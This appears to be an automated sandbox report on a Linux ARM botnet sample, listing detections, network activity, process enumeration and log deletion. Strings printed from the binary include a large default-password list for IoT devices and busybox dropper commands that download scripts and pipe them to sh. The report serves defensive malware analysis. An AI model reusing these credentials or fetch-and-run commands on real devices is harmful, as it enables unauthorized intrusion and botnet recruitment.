Linux Analysis Report
la.bot.arm5.elf

Overview

General Information

Sample name: la.bot.arm5.elf
Analysis ID: 1541751
MD5: ed65e7fba48cc7dcc73def2af36609b5
SHA1: 6b9f182d91354d3877bc3a996a401975d3e05565
SHA256: 1ae47af5b3534cc7afc8a57130562c607dfc082461609511346077f5d5db6ecc
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.arm5.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.arm5.elf ReversingLabs: Detection: 42%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm5.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/maps/lib//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm5.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 61543,1,3,4,5,6
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.15:59944 -> 103.253.147.242:61543
Sample listens on a socket
Source: /tmp/la.bot.arm5.elf (PID: 5531) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 80.50.101.14
Source: unknown TCP traffic detected without corresponding DNS query: 204.58.67.167
Source: unknown TCP traffic detected without corresponding DNS query: 22.23.123.170
Source: unknown TCP traffic detected without corresponding DNS query: 80.50.101.14
Source: unknown TCP traffic detected without corresponding DNS query: 220.99.4.38
Source: unknown TCP traffic detected without corresponding DNS query: 204.58.67.167
Source: unknown TCP traffic detected without corresponding DNS query: 22.23.123.170
Source: unknown TCP traffic detected without corresponding DNS query: 136.11.186.105
Source: unknown TCP traffic detected without corresponding DNS query: 220.99.4.38
Source: unknown TCP traffic detected without corresponding DNS query: 160.85.45.32
Source: unknown TCP traffic detected without corresponding DNS query: 136.11.186.105
Source: unknown TCP traffic detected without corresponding DNS query: 42.180.81.77
Source: unknown TCP traffic detected without corresponding DNS query: 160.85.45.32
Source: unknown TCP traffic detected without corresponding DNS query: 185.96.151.113
Source: unknown TCP traffic detected without corresponding DNS query: 42.180.81.77
Source: unknown TCP traffic detected without corresponding DNS query: 12.28.235.120
Source: unknown TCP traffic detected without corresponding DNS query: 185.96.151.113
Source: unknown TCP traffic detected without corresponding DNS query: 12.28.235.120
Source: unknown TCP traffic detected without corresponding DNS query: 194.125.130.89
Source: unknown TCP traffic detected without corresponding DNS query: 185.229.189.119
Source: unknown TCP traffic detected without corresponding DNS query: 168.14.35.187
Source: unknown TCP traffic detected without corresponding DNS query: 118.17.185.123
Source: unknown TCP traffic detected without corresponding DNS query: 194.125.130.89
Source: unknown TCP traffic detected without corresponding DNS query: 99.4.1.244
Source: unknown TCP traffic detected without corresponding DNS query: 185.229.189.119
Source: unknown TCP traffic detected without corresponding DNS query: 99.163.15.180
Source: unknown TCP traffic detected without corresponding DNS query: 168.14.35.187
Source: unknown TCP traffic detected without corresponding DNS query: 118.17.185.123
Source: unknown TCP traffic detected without corresponding DNS query: 28.113.38.124
Source: unknown TCP traffic detected without corresponding DNS query: 99.4.1.244
Source: unknown TCP traffic detected without corresponding DNS query: 102.161.73.7
Source: unknown TCP traffic detected without corresponding DNS query: 99.163.15.180
Source: unknown TCP traffic detected without corresponding DNS query: 142.73.232.83
Source: unknown TCP traffic detected without corresponding DNS query: 38.142.137.51
Source: unknown TCP traffic detected without corresponding DNS query: 28.113.38.124
Source: unknown TCP traffic detected without corresponding DNS query: 171.117.254.222
Source: unknown TCP traffic detected without corresponding DNS query: 102.161.73.7
Source: unknown TCP traffic detected without corresponding DNS query: 220.241.244.141
Source: unknown TCP traffic detected without corresponding DNS query: 142.73.232.83
Source: unknown TCP traffic detected without corresponding DNS query: 38.142.137.51
Source: unknown TCP traffic detected without corresponding DNS query: 97.42.216.232
Source: unknown TCP traffic detected without corresponding DNS query: 171.117.254.222
Source: unknown TCP traffic detected without corresponding DNS query: 142.206.169.235
Source: unknown TCP traffic detected without corresponding DNS query: 220.241.244.141
Source: unknown TCP traffic detected without corresponding DNS query: 144.219.175.244
Source: unknown TCP traffic detected without corresponding DNS query: 163.71.177.190
Source: unknown TCP traffic detected without corresponding DNS query: 97.42.216.232
Source: unknown TCP traffic detected without corresponding DNS query: 63.41.107.236
Source: unknown TCP traffic detected without corresponding DNS query: 142.206.169.235
Source: unknown TCP traffic detected without corresponding DNS query: 144.219.175.244
Source: global traffic DNS traffic detected: DNS query: nineteen.libre
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm5.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm5.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm5.elf (PID: 5533) SIGKILL sent: pid: 933, result: successful Jump to behavior
Source: classification engine Classification label: mal68.troj.evad.linELF@0/0@3/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.arm5.elf (PID: 5535) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.arm5.elf (PID: 5535) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5535) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5535) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5535) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5535) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5535) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5535) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5535) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5535) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5535) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/911/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/804/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/133/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/931/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/812/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/933/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/268/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/271/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/273/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/275/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/276/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/277/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/279/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/158/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/280/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/282/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/283/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/284/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 5533) File opened: /proc/285/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.arm5.elf (PID: 5535) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm5.elf (PID: 5531) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm5.elf, 5531.1.00007ffe87208000.00007ffe87229000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm5.elf
Source: la.bot.arm5.elf, 5531.1.0000557da77a1000.0000557da78ef000.rw-.sdmp Binary or memory string: }U!/etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5531.1.0000557da77a1000.0000557da78ef000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 5531.1.00007ffe87208000.00007ffe87229000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
103.114.66.211
 unknown India
137588 ARKCOM-AS-INArkcomTelecommunicationsPvtLtdIN false
196.86.138.233
 unknown Morocco
6713 IAM-ASMA false
161.153.199.65
 unknown United States
9328 DATACOM-AUDATACOMSYSTEMSAUPTYLTDAU false
45.54.127.57
 unknown United States
29997 VITAL-DNSUS false
40.108.124.91
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
53.236.236.207
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
143.185.204.232
 unknown United States
13127 VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo false
169.115.72.206
 unknown United States
37611 AfrihostZA false
75.115.189.222
 unknown United States
33363 BHN-33363US false
22.180.191.67
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
47.233.39.8
 unknown United States
20115 CHARTER-20115US false
113.165.41.251
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
131.191.158.104
 unknown United States
396001 TACO-396001US false
184.127.234.108
 unknown United States
7922 COMCAST-7922US false
51.248.59.53
 unknown United States
2686 ATGS-MMD-ASUS false
82.60.85.31
 unknown Italy
3269 ASN-IBSNAZIT false
26.173.36.104
 unknown United States
7922 COMCAST-7922US false
158.93.22.175
 unknown United States
3479 PEACHNET-AS1US false
199.240.194.153
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
22.112.22.65
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
59.155.7.145
 unknown China
7474 OPTUSCOM-AS01-AUSingTelOptusPtyLtdAU false
106.131.57.221
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
5.142.43.76
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
80.112.120.196
 unknown Netherlands
33915 TNF-ASNL false
223.160.63.182
 unknown China
7641 CHINABTNChinaBroadcastingTVNetCN false
51.171.64.176
 unknown Ireland
5466 EIRCOMInternetHouseIE false
27.98.171.155
 unknown Japan 10010 TOKAITOKAICommunicationsCorporationJP false
33.198.182.103
 unknown United States
2686 ATGS-MMD-ASUS false
11.55.121.153
 unknown United States
3356 LEVEL3US false
64.196.70.58
 unknown United States
7029 WINDSTREAMUS false
166.215.11.157
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
121.71.244.204
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
93.165.188.28
 unknown Denmark
3292 TDCTDCASDK false
136.162.136.120
 unknown United States
27510 CRAYUS false
91.184.86.62
 unknown Iran (ISLAMIC Republic Of)
25124 DATAKAS41881-FanavaIR false
214.248.162.204
 unknown United States
721 DNIC-ASBLK-00721-00726US false
74.70.243.135
 unknown United States
11351 TWC-11351-NORTHEASTUS false
126.27.182.94
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
15.96.183.204
 unknown United States
13979 ATT-IPFRUS false
150.76.215.187
 unknown Japan 6400 CompaniaDominicanadeTelefonosSADO false
16.201.120.194
 unknown United States
unknown unknown false
132.241.67.207
 unknown United States
2152 CSUNET-NWUS false
22.124.232.192
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
94.92.84.81
 unknown Italy
3269 ASN-IBSNAZIT false
217.228.44.1
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
121.181.127.176
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
166.130.247.133
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
210.72.197.224
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
202.122.64.67
 unknown China
24364 CNGI-SH-IX-AS-APCERNET2IXatShanghaiJiaotongUniversity false
61.96.181.3
 unknown Korea Republic of
45374 CCS-AS-KRCCSKR false
15.202.7.118
 unknown United States
7430 TANDEMUS false
88.53.30.10
 unknown Italy
3269 ASN-IBSNAZIT false
151.131.88.255
 unknown United States
38595 RDCPL-AS-AUREDDIRTCOMMUNICATIONSPTYLTDAU false
200.241.79.73
 unknown Brazil
4230 CLAROSABR false
162.205.147.21
 unknown United States
7018 ATT-INTERNET4US false
75.162.7.39
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
204.176.28.187
 unknown United States
701 UUNETUS false
181.218.219.247
 unknown Brazil
21826 CorporacionTelemicCAVE false
185.164.39.193
 unknown Germany
201341 TESONETLT false
209.186.154.38
 unknown United States
7018 ATT-INTERNET4US false
105.134.101.81
 unknown Morocco
6713 IAM-ASMA false
204.120.158.68
 unknown United States
1239 SPRINTLINKUS false
181.80.242.173
 unknown Argentina
7303 TelecomArgentinaSAAR false
68.27.56.105
 unknown United States
10507 SPCSUS false
63.32.45.180
 unknown United States
16509 AMAZON-02US false
218.240.197.144
 unknown China
9801 ZGCIE-CNNICBeijingZhongguancunInformationTechnologyCo false
194.184.161.209
 unknown Italy
3269 ASN-IBSNAZIT false
